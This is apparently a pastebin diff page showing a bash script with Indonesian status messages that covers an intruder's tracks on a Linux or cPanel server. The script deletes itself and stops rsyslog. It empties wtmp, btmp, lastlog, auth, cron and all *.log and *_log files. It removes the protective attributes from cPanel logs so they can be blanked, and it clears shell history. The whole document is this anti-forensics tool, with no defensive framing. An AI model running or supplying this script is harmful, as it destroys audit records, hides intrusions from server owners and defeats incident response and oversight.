View difference between Paste ID: tUYCuCAY and J9L4TUMz
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
rm -f $0
3
4
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
5
6
echo " matikan system log"
7
if [ -f /etc/init.d/rsyslog ];
8
then
9
  /etc/init.d/rsyslog stop
10
fi
11
12
echo " Done => matikan system log"
13
sleep 2
14
15
16
echo " matikan wtmp btmp & auth"
17
for ii in wtmp btmp lastlog messages secure up2date tallylog mcelog kernellog cron
18
  do
19
  if [ -f "/var/log/${ii}" ];then
20
    echo "+ file /var/log/${ii} => ada"
21
    echo > "/var/log/${ii}"
22
  fi
23
 done
24
25
echo " Done => wtmp btmp & auth"
26
sleep 2
27
28
29
  if [ -d "/var/log/" ];then
30
  for xdir in `find /var/log/ -type f -name "*_log"`
31
   do
32
    echo > "$xdir"
33
  done
34
    for xxdir in `find /var/log/ -type f -name "*.log"`
35
   do
36
    echo > "$xxdir"
37
  done	
38
  for xxxdir in `find /usr/local/ -type f -name "*.log"`
39
   do
40
    echo > "$xxxdir"
41
  done
42
  for xxxxdir in `find /usr/local/ -type f -name "*_log"`
43
   do
44
    echo > "$xxxxdir"
45
  done
46
  echo " Done => Hapus log Web"
47
  fi
48
chattr -ia /usr/local/cpanel/logs/queueprocd.log
49
chattr -ia /usr/local/cpanel/logs/cphulkd.log
50
chattr -ia /usr/local/cpanel/logs/stats_log
51
chattr -ia /usr/local/cpanel/logs/error_log
52
chattr -ia /usr/local/cpanel/logs/dnsadmin_log
53
chattr -ia /usr/local/cpanel/logs/cpdavd_error_log
54
chattr -ia /usr/local/cpanel/logs/tailwatchd_log
55
chattr -ia /usr/local/cpanel/logs/spamd_error_log
56
echo >  /usr/local/cpanel/logs/queueprocd.log
57
echo >  /usr/local/cpanel/logs/cphulkd.log
58
echo >  /usr/local/cpanel/logs/stats_log
59
echo >  /usr/local/cpanel/logs/error_log
60
echo >  /usr/local/cpanel/logs/dnsadmin_log
61
echo >  /usr/local/cpanel/logs/cpdavd_error_log
62
echo >  /usr/local/cpanel/logs/tailwatchd_log
63
echo >  /usr/local/cpanel/logs/spamd_error_log
64
sleep 2
65
history -c && history -w
66
echo "==== selesai ===="